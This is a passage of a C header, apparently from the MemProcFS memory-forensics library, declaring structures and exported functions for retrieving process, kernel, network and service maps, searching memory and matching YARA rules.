entries.\n} VMMDLL_MAP_VAD, *PVMMDLL_MAP_VAD;\n\ntypedef struct tdVMMDLL_MAP_VADEX {\n    DWORD dwVersion;                // VMMDLL_MAP_VADEX_VERSION\n    DWORD _Reserved1[4];\n    DWORD cMap;                     // # map entries.\n    VMMDLL_MAP_VADEXENTRY pMap[];   // map entries.\n} VMMDLL_MAP_VADEX, *PVMMDLL_MAP_VADEX;\n\ntypedef struct tdVMMDLL_MAP_MODULE {\n    DWORD dwVersion;                // VMMDLL_MAP_MODULE_VERSION\n    DWORD _Reserved1[5];\n    PBYTE pbMultiText;              // multi-wstr pointed into by VMMDLL_MAP_MODULEENTRY.wszText\n    DWORD cbMultiText;\n    DWORD cMap;                     // # map entries.\n    VMMDLL_MAP_MODULEENTRY pMap[];  // map entries.\n} VMMDLL_MAP_MODULE, *PVMMDLL_MAP_MODULE;\n\ntypedef struct tdVMMDLL_MAP_UNLOADEDMODULE {\n    DWORD dwVersion;                // VMMDLL_MAP_UNLOADEDMODULE_VERSION\n    DWORD _Reserved1[5];\n    PBYTE pbMultiText;              // multi-wstr pointed into by VMMDLL_MAP_MODULEENTRY.wszText\n    DWORD cbMultiText;\n    DWORD cMap;                     // # map entries.\n    VMMDLL_MAP_UNLOADEDMODULEENTRY pMap[];  // map entries.\n} VMMDLL_MAP_UNLOADEDMODULE, *PVMMDLL_MAP_UNLOADEDMODULE;\n\ntypedef struct tdVMMDLL_MAP_EAT {\n    DWORD dwVersion;                // VMMDLL_MAP_EAT_VERSION\n    DWORD dwOrdinalBase;\n    DWORD cNumberOfNames;\n    DWORD cNumberOfFunctions;\n    DWORD cNumberOfForwardedFunctions;\n    DWORD _Reserved1[3];\n    QWORD vaModuleBase;\n    QWORD vaAddressOfFunctions;\n    QWORD vaAddressOfNames;\n    PBYTE pbMultiText;              // multi-str pointed into by VMM_MAP_EATENTRY.wszFunction\n    DWORD cbMultiText;\n    DWORD cMap;                     // # map entries.\n    VMMDLL_MAP_EATENTRY pMap[];     // map entries.\n} VMMDLL_MAP_EAT, *PVMMDLL_MAP_EAT;\n\ntypedef struct tdVMMDLL_MAP_IAT {\n    DWORD dwVersion;                // VMMDLL_MAP_IAT_VERSION\n    DWORD _Reserved1[5];\n    QWORD vaModuleBase;\n    PBYTE pbMultiText;              // multi-str pointed into by VMM_MAP_EATENTRY.[wszFunction|wszModule]\n    DWORD cbMultiText;\n    DWORD cMap;                     // # map entries.\n    VMMDLL_MAP_IATENTRY pMap[];     // map entries.\n} VMMDLL_MAP_IAT, *PVMMDLL_MAP_IAT;\n\ntypedef struct tdVMMDLL_MAP_HEAP {\n    DWORD dwVersion;                            // VMMDLL_MAP_HEAP_VERSION\n    DWORD _Reserved1[7];\n    PVMMDLL_MAP_HEAP_SEGMENTENTRY pSegments;    // heap segment entries.\n    DWORD cSegments;                            // # heap segment entries.\n    DWORD cMap;                                 // # map entries.\n    VMMDLL_MAP_HEAPENTRY pMap[];                // map entries.\n} VMMDLL_MAP_HEAP, *PVMMDLL_MAP_HEAP;\n\ntypedef struct tdVMMDLL_MAP_HEAPALLOC {\n    DWORD dwVersion;                    // VMMDLL_MAP_HEAPALLOC_VERSION\n    DWORD _Reserved1[7];\n    PVOID _Reserved2[2];\n    DWORD cMap;                         // # map entries.\n    VMMDLL_MAP_HEAPALLOCENTRY pMap[];   // map entries.\n} VMMDLL_MAP_HEAPALLOC, *PVMMDLL_MAP_HEAPALLOC;\n\ntypedef struct tdVMMDLL_MAP_THREAD {\n    DWORD dwVersion;                // VMMDLL_MAP_THREAD_VERSION\n    DWORD _Reserved[8];\n    DWORD cMap;                     // # map entries.\n    VMMDLL_MAP_THREADENTRY pMap[];  // map entries.\n} VMMDLL_MAP_THREAD, *PVMMDLL_MAP_THREAD;\n\ntypedef struct tdVMMDLL_MAP_THREAD_CALLSTACK {\n    DWORD dwVersion;                // VMMDLL_MAP_THREAD_CALLSTACK_VERSION\n    DWORD _Reserved1[6];\n    DWORD dwPID;\n    DWORD dwTID;\n    DWORD cbText;\n    union { LPSTR  uszText; LPWSTR wszText; };  // U/W dependant\n    PBYTE pbMultiText;              // multi-str pointed into by VMM_MAP_EATENTRY.[wszFunction|wszModule]\n    DWORD cbMultiText;\n    DWORD cMap;\n    VMMDLL_MAP_THREAD_CALLSTACKENTRY pMap[0];\n} VMMDLL_MAP_THREAD_CALLSTACK, *PVMMDLL_MAP_THREAD_CALLSTACK;\n\ntypedef struct tdVMMDLL_MAP_HANDLE {\n    DWORD dwVersion;                // VMMDLL_MAP_HANDLE_VERSION\n    DWORD _Reserved1[5];\n    PBYTE pbMultiText;              // multi-wstr pointed into by VMMDLL_MAP_HANDLEENTRY.wszText\n    DWORD cbMultiText;\n    DWORD cMap;                     // # map entries.\n    VMMDLL_MAP_HANDLEENTRY pMap[];  // map entries.\n} VMMDLL_MAP_HANDLE, *PVMMDLL_MAP_HANDLE;\n\ntypedef struct tdVMMDLL_MAP_POOL {\n    DWORD dwVersion;                // VMMDLL_MAP_POOL_VERSION\n    DWORD _Reserved1[6];\n    DWORD cbTotal;                  // # bytes to represent this pool map object\n    PDWORD piTag2Map;               // dword map array (size: cMap): tag index to map index.\n    PVMMDLL_MAP_POOLENTRYTAG pTag;  // tag entries.\n    DWORD cTag;                     // # tag entries.\n    DWORD cMap;                     // # map entries.\n    VMMDLL_MAP_POOLENTRY pMap[];    // map entries.\n} VMMDLL_MAP_POOL, *PVMMDLL_MAP_POOL;\n\ntypedef struct tdVMMDLL_MAP_KOBJECT {\n    DWORD dwVersion;                // VMMDLL_MAP_KOBJECT_VERSION\n    DWORD _Reserved1[5];\n    PBYTE pbMultiText;              // multi-wstr pointed into by VMM_MAP_NETENTRY.wszText\n    DWORD cbMultiText;\n    DWORD cMap;                     // # map entries.\n    VMMDLL_MAP_KOBJECTENTRY pMap[]; // map entries.\n} VMMDLL_MAP_KOBJECT, *PVMMDLL_MAP_KOBJECT;\n\ntypedef struct tdVMMDLL_MAP_KDRIVER {\n    DWORD dwVersion;                // VMMDLL_MAP_KDRIVER_VERSION\n    DWORD _Reserved1[5];\n    PBYTE pbMultiText;              // multi-wstr pointed into by VMM_MAP_NETENTRY.wszText\n    DWORD cbMultiText;\n    DWORD cMap;                     // # map entries.\n    VMMDLL_MAP_KDRIVERENTRY pMap[]; // map entries.\n} VMMDLL_MAP_KDRIVER, *PVMMDLL_MAP_KDRIVER;\n\ntypedef struct tdVMMDLL_MAP_KDEVICE {\n    DWORD dwVersion;                // VMMDLL_MAP_KDEVICE_VERSION\n    DWORD _Reserved1[5];\n    PBYTE pbMultiText;              // multi-wstr pointed into by VMM_MAP_NETENTRY.wszText\n    DWORD cbMultiText;\n    DWORD cMap;                     // # map entries.\n    VMMDLL_MAP_KDEVICEENTRY pMap[]; // map entries.\n} VMMDLL_MAP_KDEVICE, *PVMMDLL_MAP_KDEVICE;\n\ntypedef struct tdVMMDLL_MAP_NET {\n    DWORD dwVersion;                // VMMDLL_MAP_NET_VERSION\n    DWORD _Reserved1;\n    PBYTE pbMultiText;              // multi-wstr pointed into by VMM_MAP_NETENTRY.wszText\n    DWORD cbMultiText;\n    DWORD cMap;                     // # map entries.\n    VMMDLL_MAP_NETENTRY pMap[];     // map entries.\n} VMMDLL_MAP_NET, *PVMMDLL_MAP_NET;\n\ntypedef struct tdVMMDLL_MAP_PHYSMEM {\n    DWORD dwVersion;                // VMMDLL_MAP_PHYSMEM_VERSION\n    DWORD _Reserved1[5];\n    DWORD cMap;                     // # map entries.\n    DWORD _Reserved2;\n    VMMDLL_MAP_PHYSMEMENTRY pMap[]; // map entries.\n} VMMDLL_MAP_PHYSMEM, *PVMMDLL_MAP_PHYSMEM;\n\ntypedef struct tdVMMDLL_MAP_USER {\n    DWORD dwVersion;                // VMMDLL_MAP_USER_VERSION\n    DWORD _Reserved1[5];\n    PBYTE pbMultiText;              // multi-wstr pointed into by VMMDLL_MAP_USERENTRY.wszText\n    DWORD cbMultiText;\n    DWORD cMap;                     // # map entries.\n    VMMDLL_MAP_USERENTRY pMap[];    // map entries.\n} VMMDLL_MAP_USER, *PVMMDLL_MAP_USER;\n\ntypedef struct tdVMMDLL_MAP_VM {\n    DWORD dwVersion;                // VMMDLL_MAP_VM_VERSION\n    DWORD _Reserved1[5];\n    PBYTE pbMultiText;              // multi-wstr pointed into by VMMDLL_MAP_VMENTRY.wszText\n    DWORD cbMultiText;\n    DWORD cMap;                     // # map entries.\n    VMMDLL_MAP_VMENTRY pMap[];      // map entries.\n} VMMDLL_MAP_VM, *PVMMDLL_MAP_VM;\n\ntypedef struct tdVMMDLL_MAP_SERVICE {\n    DWORD dwVersion;                // VMMDLL_MAP_SERVICE_VERSION\n    DWORD _Reserved1[5];\n    PBYTE pbMultiText;              // multi-wstr pointed into by VMMDLL_MAP_SERVICEENTRY.wsz*\n    DWORD cbMultiText;\n    DWORD cMap;                     // # map entries.\n    VMMDLL_MAP_SERVICEENTRY pMap[]; // map entries.\n} VMMDLL_MAP_SERVICE, *PVMMDLL_MAP_SERVICE;\n\n/*\n* Retrieve the memory map entries based on hardware page tables (PTEs) for the process.\n* Entries returned are sorted on VMMDLL_MAP_PTEENTRY.va\n* CALLER FREE: VMMDLL_MemFree(*ppVadMap)\n* -- hVMM\n* -- dwPID\n* -- fIdentifyModules = try identify modules as well (= slower)\n* -- ppPteMap =  ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetPteU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ BOOL fIdentifyModules, _Out_ PVMMDLL_MAP_PTE *ppPteMap);\n_Success_(return) BOOL VMMDLL_Map_GetPteW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ BOOL fIdentifyModules, _Out_ PVMMDLL_MAP_PTE *ppPteMap);\n\n/*\n* Retrieve memory map entries based on virtual address descriptor (VAD) for the process.\n* Entries returned are sorted on VMMDLL_MAP_VADENTRY.vaStart\n* CALLER FREE: VMMDLL_MemFree(*ppVadMap)\n* -- hVMM\n* -- dwPID\n* -- fIdentifyModules = try identify modules as well (= slower)\n* -- ppVadMap =  ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetVadU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ BOOL fIdentifyModules, _Out_ PVMMDLL_MAP_VAD *ppVadMap);\n_Success_(return) BOOL VMMDLL_Map_GetVadW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ BOOL fIdentifyModules, _Out_ PVMMDLL_MAP_VAD *ppVadMap);\n\n/*\n* Retrieve extended memory map information about a sub-set of the memory map.\n* CALLER FREE: VMMDLL_MemFree(*ppVadExMap)\n* -- hVMM\n* -- oPage = offset in number of pages from process start.\n* -- cPage = number of pages to process from oPages base.\n* -- ppVadExMap =  ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_Map_GetVadEx(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ DWORD oPage, _In_ DWORD cPage, _Out_ PVMMDLL_MAP_VADEX *ppVadExMap);\n\n/*\n* Retrieve the modules (.dlls) for the specified process.\n* CALLER FREE: VMMDLL_MemFree(*ppModuleMap)\n* -- hVMM\n* -- dwPID\n* -- ppModuleMap =  ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- flags = optional flags as specified by VMMDLL_MODULE_FLAG_*\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetModuleU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Out_ PVMMDLL_MAP_MODULE *ppModuleMap, _In_ DWORD flags);\n_Success_(return) BOOL VMMDLL_Map_GetModuleW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Out_ PVMMDLL_MAP_MODULE *ppModuleMap, _In_ DWORD flags);\n\n/*\n* Retrieve a module (.dll) entry given a process and module name.\n* CALLER FREE: VMMDLL_MemFree(*ppModuleMapEntry)\n* -- hVMM\n* -- dwPID\n* -- [uw]szModuleName = module name (or \"\"/NULL for 1st module entry).\n* -- ppModuleMapEntry =  ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- flags = optional flags as specified by VMMDLL_MODULE_FLAG_*\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetModuleFromNameU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_opt_ LPCSTR  uszModuleName, _Out_ PVMMDLL_MAP_MODULEENTRY *ppModuleMapEntry, _In_ DWORD flags);\n_Success_(return) BOOL VMMDLL_Map_GetModuleFromNameW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_opt_ LPCWSTR wszModuleName, _Out_ PVMMDLL_MAP_MODULEENTRY *ppModuleMapEntry, _In_ DWORD flags);\n\n/*\n* Retrieve the unloaded modules (.dll/.sys) for the specified process.\n* CALLER FREE: VMMDLL_MemFree(*ppUnloadedModuleMap)\n* -- hVMM\n* -- dwPID\n* -- ppUnloadedModuleMap =  ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetUnloadedModuleU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Out_ PVMMDLL_MAP_UNLOADEDMODULE *ppUnloadedModuleMap);\n_Success_(return) BOOL VMMDLL_Map_GetUnloadedModuleW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Out_ PVMMDLL_MAP_UNLOADEDMODULE *ppUnloadedModuleMap);\n\n/*\n* Retrieve the module exported functions from the export address table (EAT).\n* CALLER FREE: VMMDLL_MemFree(*ppEatMap)\n* -- hVMM\n* -- dwPID\n* -- [uw]szModuleName\n* -- ppEatMap =  ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetEATU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCSTR  uszModuleName, _Out_ PVMMDLL_MAP_EAT *ppEatMap);\n_Success_(return) BOOL VMMDLL_Map_GetEATW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCWSTR wszModuleName, _Out_ PVMMDLL_MAP_EAT *ppEatMap);\n\n/*\n* Retrieve the module imported functions from the import address table (IAT).\n* CALLER FREE: VMMDLL_MemFree(*ppIatMap)\n* -- hVMM\n* -- dwPID\n* -- [uw]szModuleName\n* -- ppIatMap =  ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetIATU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCSTR  uszModuleName, _Out_ PVMMDLL_MAP_IAT *ppIatMap);\n_Success_(return) BOOL VMMDLL_Map_GetIATW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCWSTR wszModuleName, _Out_ PVMMDLL_MAP_IAT *ppIatMap);\n\n/*\n* Retrieve the heaps for the specified process.\n* CALLER FREE: VMMDLL_MemFree(*ppHeapMap)\n* -- hVMM\n* -- dwPID\n* -- ppHeapMap =  ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetHeap(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Out_ PVMMDLL_MAP_HEAP *ppHeapMap);\n\n/*\n* Retrieve heap allocations for the specified process heap.\n* CALLER FREE: VMMDLL_MemFree(*ppHeapAllocMap)\n* -- hVMM\n* -- dwPID\n* -- qwHeapNumOrAddress = number or virtual address of heap to retrieve allocations from.\n* -- ppHeapAllocMap =  ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetHeapAlloc(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ QWORD qwHeapNumOrAddress, _Out_ PVMMDLL_MAP_HEAPALLOC *ppHeapAllocMap);\n\n/*\n* Retrieve the threads for the specified process.\n* Entries returned are sorted on VMMDLL_MAP_THREADENTRY.dwTID\n* CALLER FREE: VMMDLL_MemFree(*ppThreadMap)\n* -- hVMM\n* -- dwPID\n* -- ppThreadMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetThread(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Out_ PVMMDLL_MAP_THREAD *ppThreadMap);\n\n/*\n* Retrieve the thread callstack for a specific thread.\n* Callstack retrieval is:\n* - supported for x64 user-mode threads.\n* - a best-effort operation and may not always succeed.\n* - may download a large amounts of pdb symbol data from Microsoft.\n* CALLER FREE: VMMDLL_MemFree(*ppThreadCallstack)\n* -- hVMM\n* -- dwPID\n* -- dwTID\n* -- flags = 0, VMMDLL_FLAG_NOCACHE or VMM_FLAG_FORCECACHE_READ\n* -- ppThreadCallstack\n* -- return\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetThread_CallstackU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ DWORD dwTID, _In_ DWORD flags, _Out_ PVMMDLL_MAP_THREAD_CALLSTACK *ppThreadCallstack);\n_Success_(return) BOOL VMMDLL_Map_GetThread_CallstackW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ DWORD dwTID, _In_ DWORD flags, _Out_ PVMMDLL_MAP_THREAD_CALLSTACK *ppThreadCallstack);\n\n/*\n* Retrieve the handles for the specified process.\n* Entries returned are sorted on VMMDLL_MAP_HANDLEENTRY.dwHandle\n* CALLER FREE: VMMDLL_MemFree(*ppHandleMap)\n* -- hVMM\n* -- dwPID\n* -- ppHandleMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetHandleU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Out_ PVMMDLL_MAP_HANDLE *ppHandleMap);\n_Success_(return) BOOL VMMDLL_Map_GetHandleW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Out_ PVMMDLL_MAP_HANDLE *ppHandleMap);\n\n/*\n* Retrieve the physical memory ranges from the operating system physical memory map.\n* CALLER FREE: VMMDLL_MemFree(*ppPhysMemMap)\n* -- hVMM\n* -- ppPhysMemMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree()\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetPhysMem(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_PHYSMEM *ppPhysMemMap);\n\n/*\n* Retrieve the kernel device map - consisting of kernel device objects.\n* CALLER FREE: VMMDLL_MemFree(*ppKDeviceMap)\n* -- hVMM\n* -- ppKDeviceMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetKDeviceU(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_KDEVICE *ppKDeviceMap);\n_Success_(return) BOOL VMMDLL_Map_GetKDeviceW(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_KDEVICE *ppKDeviceMap);\n\n/*\n* Retrieve the kernel driver map - consisting of kernel driver objects.\n* CALLER FREE: VMMDLL_MemFree(*ppKDriverMap)\n* -- hVMM\n* -- ppKDriverMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetKDriverU(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_KDRIVER *ppKDriverMap);\n_Success_(return) BOOL VMMDLL_Map_GetKDriverW(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_KDRIVER *ppKDriverMap);\n\n/*\n* Retrieve the kernel object map - consisting of kernel objects such as devices, drivers and other objects.\n* CALLER FREE: VMMDLL_MemFree(*ppKObjectMap)\n* -- hVMM\n* -- ppKObjectMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetKObjectU(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_KOBJECT *ppKObjectMap);\n_Success_(return) BOOL VMMDLL_Map_GetKObjectW(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_KOBJECT *ppKObjectMap);\n\n/*\n* Retrieve the pool map - consisting of kernel allocated pool entries.\n* The pool map pMap is sorted by allocation virtual address.\n* The pool map pTag is sorted by pool tag.\n* NB! The pool map may contain both false negatives/positives.\n* NB! The pool map relies on debug symbols. Please ensure supporting files\n*     symsrv.dll, dbghelp.dll and info.db (found in the binary distribution)\n*     is put alongside vmm.dll. (On Linux the .dll files aren't necessary).\n* CALLER FREE: VMMDLL_MemFree(*ppPoolMap)\n* -- hVMM\n* -- ppPoolMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- flags = VMMDLL_POOLMAP_FLAG*\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetPool(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_POOL *ppPoolMap, _In_ DWORD flags);\n\n/*\n* Retrieve the network connection map - consisting of active network connections,\n* listening sockets and other networking functionality.\n* CALLER FREE: VMMDLL_MemFree(*ppNetMap)\n* -- hVMM\n* -- ppNetMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetNetU(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_NET *ppNetMap);\n_Success_(return) BOOL VMMDLL_Map_GetNetW(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_NET *ppNetMap);\n\n/*\n* Retrieve the non well known users that are detected in the target system.\n* NB! There may be more users in the system than the ones that are detected,\n* only users with mounted registry hives may currently be detected - this is\n* the normal behaviour for users with active processes.\n* CALLER FREE: VMMDLL_MemFree(*ppUserMap)\n* -- hVMM\n* -- ppUserMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetUsersU(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_USER *ppUserMap);\n_Success_(return) BOOL VMMDLL_Map_GetUsersW(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_USER *ppUserMap);\n\n/*\n* Retrieve a map of detected child virtual machines (VMs).\n* NB! May fail if called shortly after vmm init unless option: -waitinitialize\n* CALLER FREE: VMMDLL_MemFree(*ppVmMap)\n* -- hVMM\n* -- ppVmMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetVMU(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_VM *ppVmMap);\n_Success_(return) BOOL VMMDLL_Map_GetVMW(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_VM *ppVmMap);\n\n/*\n* Retrieve the services currently known by the service control manager (SCM).\n* CALLER FREE: VMMDLL_MemFree(*ppServiceMap)\n* -- hVMM\n* -- ppServiceMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_Map_GetServicesU(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_SERVICE *ppServiceMap);\n_Success_(return) BOOL VMMDLL_Map_GetServicesW(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_SERVICE *ppServiceMap);\n\n\n\n//-----------------------------------------------------------------------------\n// MEMORY SEARCH FUNCTIONALITY:\n//-----------------------------------------------------------------------------\n\n#define VMMDLL_MEM_SEARCH_VERSION           0xfe3e0003\n#define VMMDLL_MEM_SEARCH_MAXLENGTH         32\n\ntypedef struct tdVMMDLL_MEM_SEARCH_CONTEXT_SEARCHENTRY {\n    DWORD cbAlign;                                  // byte-align at 2^x - 0, 1, 2, 4, 8, 16, .. bytes.\n    DWORD cb;                                       // number of bytes to search (1-32).\n    BYTE pb[VMMDLL_MEM_SEARCH_MAXLENGTH];\n    BYTE pbSkipMask[VMMDLL_MEM_SEARCH_MAXLENGTH];   // skip bitmask '0' = match, '1' = wildcard.\n} VMMDLL_MEM_SEARCH_CONTEXT_SEARCHENTRY, *PVMMDLL_MEM_SEARCH_CONTEXT_SEARCHENTRY;\n\n/*\n* Context to populate and use in the VMMDLL_MemSearch() function.\n*/\ntypedef struct tdVMMDLL_MEM_SEARCH_CONTEXT {\n    DWORD dwVersion;\n    DWORD _Filler[2];\n    BOOL fAbortRequested;       // may be set by caller to abort processing prematurely.\n    DWORD cMaxResult;           // # max result entries. '0' = 1 entry. max 0x10000 entries.\n    DWORD cSearch;              // number of search entries.\n    PVMMDLL_MEM_SEARCH_CONTEXT_SEARCHENTRY pSearch;     // pointer to an array of cSearch entries.\n    QWORD vaMin;                // min address to search (page-aligned).\n    QWORD vaMax;                // max address to search (page-aligned), if 0 max memory is assumed.\n    QWORD vaCurrent;            // current address (may be read by caller).\n    DWORD _Filler2;\n    DWORD cResult;              // number of search hits.\n    QWORD cbReadTotal;          // total number of bytes read.\n    PVOID pvUserPtrOpt;         // optional pointer set by caller (used for context passing to callbacks)\n    // optional result callback function.\n    // use of callback function disable ordinary result in ppObAddressResult.\n    // return = continue search(TRUE), abort search(FALSE).\n    BOOL(*pfnResultOptCB)(_In_ struct tdVMMDLL_MEM_SEARCH_CONTEXT *ctx, _In_ QWORD va, _In_ DWORD iSearch);\n    // non-recommended features:\n    QWORD ReadFlags;            // read flags as in VMMDLL_FLAG_*\n    BOOL fForcePTE;             // force PTE method for virtual address reads.\n    BOOL fForceVAD;             // force VAD method for virtual address reads.\n    // optional filter callback function for virtual address reads:\n    // for ranges inbetween vaMin:vaMax callback with pte or vad entry.\n    // return: read from range(TRUE), do not read from range(FALSE).\n    BOOL(*pfnFilterOptCB)(_In_ struct tdVMMDLL_MEM_SEARCH_CONTEXT *ctx, _In_opt_ PVMMDLL_MAP_PTEENTRY pePte, _In_opt_ PVMMDLL_MAP_VADENTRY peVad);\n} VMMDLL_MEM_SEARCH_CONTEXT, *PVMMDLL_MEM_SEARCH_CONTEXT;\n\n/*\n* Search for binary data in an address space specified by the supplied context.\n* For more information about the different search parameters please see the\n* struct definition: VMMDLL_MEM_SEARCH_CONTEXT\n* Search may take a long time. It's not recommended to run this interactively.\n* To cancel a search prematurely set the fAbortRequested flag in the context\n* and wait a short while.\n* CALLER FREE: VMMDLL_MemFree(*ppva)\n* -- hVMM\n* -- dwPID - PID of target process, (DWORD)-1 to read physical memory.\n* -- ctx\n* -- ppva = pointer to receive addresses found. Free'd with VMMDLL_MemFree().\n* -- pcva = pointer to receive number of addresses in ppva. not bytes!\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_MemSearch(\n    _In_ VMM_HANDLE hVMM,\n    _In_ DWORD dwPID,\n    _Inout_ PVMMDLL_MEM_SEARCH_CONTEXT ctx,\n    _Out_opt_ PQWORD *ppva,\n    _Out_opt_ PDWORD pcva\n);\n\n\n\n//-----------------------------------------------------------------------------\n// MEMORY YARA SEARCH FUNCTIONALITY:\n// The yara search functionality requires that vmmyara.[dll|so] is present.\n// The vmmyara project is found at: https://github.com/ufrisk/vmmyara\n//-----------------------------------------------------------------------------\n\n// =========== START SHARED STRUCTS WITH <vmmdll.h/vmmyara.h> ===========\n#ifndef VMMYARA_RULE_MATCH_DEFINED\n#define VMMYARA_RULE_MATCH_DEFINED\n\n#define VMMYARA_RULE_MATCH_VERSION          0xfedc0005\n#define VMMYARA_RULE_MATCH_TAG_MAX          27\n#define VMMYARA_RULE_MATCH_META_MAX         32\n#define VMMYARA_RULE_MATCH_STRING_MAX       16\n#define VMMYARA_RULE_MATCH_OFFSET_MAX       24\n\n/*\n* Struct with match information upon a match in VmmYara_RulesScanMemory().\n*/\ntypedef struct tdVMMYARA_RULE_MATCH {\n    DWORD dwVersion;                    // VMMYARA_RULE_MATCH_VERSION\n    DWORD flags;\n    LPSTR szRuleIdentifier;\n    DWORD cTags;\n    LPSTR szTags[VMMYARA_RULE_MATCH_TAG_MAX];\n    DWORD cMeta;\n    struct {\n        LPSTR szIdentifier;\n        LPSTR szString;\n    } Meta[VMMYARA_RULE_MATCH_META_MAX];\n    DWORD cStrings;\n    struct {\n        LPSTR szString;\n        DWORD cMatch;\n        SIZE_T cbMatchOffset[VMMYARA_RULE_MATCH_OFFSET_MAX];\n    } Strings[VMMYARA_RULE_MATCH_STRING_MAX];\n} VMMYARA_RULE_MATCH, *PVMMYARA_RULE_MATCH;\n\n#endif /* VMMYARA_RULE_MATCH_DEFINED */\n\n#ifndef VMMYARA_SCAN_MEMORY_CALLBACK_DEFINED\n#define 